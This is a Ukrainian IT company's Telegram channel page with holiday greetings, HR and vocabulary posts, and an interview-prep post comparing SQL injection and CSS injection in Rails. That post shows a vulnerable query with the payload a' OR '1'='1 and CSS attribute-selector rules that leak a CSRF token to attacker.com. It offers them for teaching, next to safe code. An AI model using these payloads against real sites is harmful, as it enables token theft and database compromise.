Codica - корисне про IT
2.09K subscribers
3.29K photos
171 videos
52 files
1.69K links
Привіт, друже, це канал про корисності в ІТ🤘

🔺Даємо практичні матеріали з RoR, JavaScript, QA, DevOps
🔺Розкажемо як знайти першу роботу без хвилювань та проблем

✍️Для звʼязку-@klimenko_nataly

👉 Відкриті вакансії - www.codica.com/careers
Download Telegram
This media is not supported in your browser
VIEW IN TELEGRAM
З Днем міста, наш рідний, незламний Харкове! 🏛️❤️

Багато хто з вас знає, що наша компанія народилася саме тут. Зараз ми не в місті локально, але наше серце назавжди залишилося там.

Сьогодні ми подумки вдома. Згадуємо, як гуляли знайомими вуличками, ходили в театр і який галас зазвичай стоїть на Сумській цими днями. Цю атмосферу не передати словами — її можна тільки відчути.

Ми неймовірно сумуємо за нашою домівкою. Бо де б ми не були, знаємо на сто відсотків: кращого міста на землі немає і, мабуть, ніколи для нас не буде.

Любий Харкове, квітни, процвітай, тримайся попри все і завжди чекай на нас. А ми обіцяємо повернутися.
Зі святом, друзі! З днем нашого найкращого міста!

TikTok | Instagram | Telegram
❤11
З Днем Незалежності України, друзі! 💙💛

Це не просто дата, це день нашої сили, день свободи, яка виборюється щомиті неймовірно дорогою ціною.

Ми до нестями любимо свій дім, любимо Україну, бо тільки тут дихається на повні груди й живуть найрідніші люди. Наша незалежність — вона не десь далеко, вона всередині кожного з нас.

Прямо зараз за неї на передовій б‘ються наші захисники. Пишаємося ними до сліз, шануємо й пам’ятаємо кожного та кожну. Бережімо цей вогонь у серцях.

Зі святом! Слава Україні! 🇺🇦✨

TikTok | Instagram | Telegram
❤9
🎯 Як відповідати на технічні питання на співбесіді?

#codica_interviews

✅ Хороший інженер — бачить архітектуру та загрози безпеці комплексно.
❌ Початківець — сподівається, що фреймворк усе зробить за нього.
😁3
What is the difference between SQL Injection and CSS Injection?

📌 Очікувана відповідь:

Обидві атаки належать до класу ін‘єкцій (впровадження стороннього коду), але працюють на різних рівнях абстракції, мають абсолютно різні вектори виконання та наслідки:

👉 SQL Injection (SQLi) — атака на рівні бекенду та бази даних. Зловмисник змінює логіку SQL-запиту, щоб отримати несанкціонований доступ до БД (читання, модифікація або видалення даних).

👉 CSS Injection — атака на рівні клієнтської сторони (браузера). Зловмисник впроваджує шкідливі стилі, щоб змінити UI (фішинг, UI redressing) або ексфільтрувати (викрасти) чутливі дані, які вже присутні в DOM-дереві (наприклад, CSRF-токени), за допомогою селекторів.

📌 Базові приклади в розрізі Rails:


# НІКОЛИ ТАК НЕ РОБІТЬ
User.where("email = '#{params[:email]}'")
# Якщо params[:email] буде: a' OR '1'='1, запит вибере всіх користувачів бази даних.


Safe код у Rails (Active Record автоматично використовує підготовлені запити — prepared statements):


User.where(email: params[:email])
# Або через плейсхолдери:
User.where("email = ?", params[:email])


Приклад CSS-ін’єкції (через відсутність фільтрації у контексті стилів):

Якщо застосунок дозволяє кастомізувати тему профілю і виводить значення безпосередньо у тег <style> без очищення:


<style>
.user-profile { background: <%= params[:theme_color] %>; }
</style>


Якщо зловмисник передасть у params[:theme_color] конструкцію, що закриває поточне правило, він може застосувати послідовний перебір чутливих атрибутів (наприклад, CSRF-токена в прихованому інпуті):


x; }
input[name="authenticity_token"][value^="a"] { background-image: url('https://attacker.com'); }
input[name="authenticity_token"][value^="b"] { background-image: url('https://attacker.com'); }


Браузер побачить збіг першої літери токена з атрибутом value у HTML та надішле на сервер зловмисника тригерний HTTP-запит для завантаження фону. Наступними запитами (або через генерацію послідовних @import) зловмисник дізнається весь токен.

📌 Детальний розбір механізмів:

1️⃣ Область дії (Scope):

👉 SQLi: Сервер і база даних. Загрожує витоком або знищенням усієї БД.

👉 CSS Injection: Браузер жертви. Загрожує витоком статичних даних з DOM (токени, особисті дані у text-вузлах через лігатури), перекриттям оригінальних кнопок фейковими формами (Clickjacking / UI redressing).

2️⃣ Як захищає Rails "з коробки":

👉 Від SQLi: Active Record екранує всі параметри, які передаються через хеші. Вразливість виникає лише за умов використання сирого SQL з інтерполяцією рядків #{}.

👉 Від CSS-ін'єкцій: Стандартний html_escape від Rails захищає від виходу з HTML-контексту (наприклад, не дасть закрити тег </style>). Проте, якщо ви використовуєте методи raw, html_safe, або дозволяєте користувачам підвантажувати власні CSS-файли чи inline-стилі без глибокої санітизації через спеціалізовані парсери (наприклад, rails-html-sanitizer з жорстким білим списком властивостей), застосунок стає вразливим.

3️⃣ Специфіка JS/SPA застосунків:

Для сучасних JS-фреймворків (React, Vue) CSS-ін‘єкція також небезпечна через CSS-in-JS рішення або динамічні ін’єкції стилів. Якщо токени або стейт рендеряться в HTML-атрибути елементів (наприклад, data-token), CSS-селектори зловмисника легко їх прочитають без жодного рядка на JavaScript.

🍀 Розуміння безпеки на стику технологій та знання реальних обмежень браузерних рушіїв — це те, що відрізняє Senior-розробника від звичайного кодера.

Пишіть безпечний код і будуйте надійні системи. Продуктивного тижня!

TikTok | Instagram | Telegram
🔥4
Друзі, давайте чесно.. Бувало таке, що день пролетів, ти закрив мільйон чатів, відсидів п'ять созвонів, пофіксив якусь дрібницю, а ввечері сидиш із думкою: «І що я реально зробив(ла)?». Втома на 100/10, а результату — нуль 🫠

#НапуттяВід_HR Директорки Клименко Наталії

Наша HR Director Наталі, яка вже 20 років крутиться в IT-командах, розібрала цей парадокс: чому ми всі пекельно втомлені, але без результату?

👉 Як вижити, коли Slack розривається, дедлайни горять, а мозок плавиться від контекст-світчингу — читайте в картках!

TikTok | Instagram | Telegram
🔥6
Йо, друзі, з вами наша постійна рубрика #IT_словник

Ми зібрали рідкісні, дивні та абсолютно геніальні слова з усього світу, які ви навряд чи чули, але які на 100% описують будні в розробці. Розширюємо вокабуляр, качаємо софт-скіли, піднімаємо настрій і вчимося витончено тролити колег та ПМ-ів.

Читайте попередні пости рубрики:
📌 "Гігіл" — читати тут
📌 "Торшлюспанік" — читати тут

Гортайте нижче, тегайте в коментарях тих, кому це життєво, і погнали! 🔥
❤3
«Цундзуку» (Tsundoku) — японське слово, яке означає купівлю книг, які ви ніколи не прочитаєте, через що вони просто лежать і припадають пилом стопками.

👉 Як це в IT: Ваша папка «Bookmarks» у браузері, збережені курси на Udemy за знижкою 90%, 15 куплених доменів під «майбутні стартапи», які ніколи не відкривалися, та 40 відкритих вкладок із репозиторіями на GitHub, які ви «обов'язково розберете на вихідних».

Це колекціонування корисного контенту замість його реального споживання.

👉 Як це використовувати в житті: Коли колеги в чаті знову запитають, навіщо ти купив підписку на черговий ШІ-інструмент або складний курс з архітектури, хоча старі ще не пройшов, відповідай гордо: «Це не лінь, це моє цифрове цундзуку. Цей склад колись знадобиться, я ж сеньйор».

TikTok | Instagram | Telegram
🔥6
🧠 13 законів розробки

У будь-якому продукті з часом з’являється більше сценаріїв використання, ніж планувалося на старті.

І навіть ті дрібні деталі, які здаються “несуттєвими”, можуть раптово стати критично важливими для реальних користувачів.

Закони, які вже розглянули:
👉 Закон Паркінсона
👉 Закон Хофштедтера
👉 Закон Брукса
👉 Закон Конвея (і зворотний закон Конвея)
👉 Закон Каннінгема
👉 Закон Стерджена
👉 Закон Завінскі (Zawinski’s Law)

Сьогодні — закон, який добре знайомий усім, хто підтримує великі системи 👇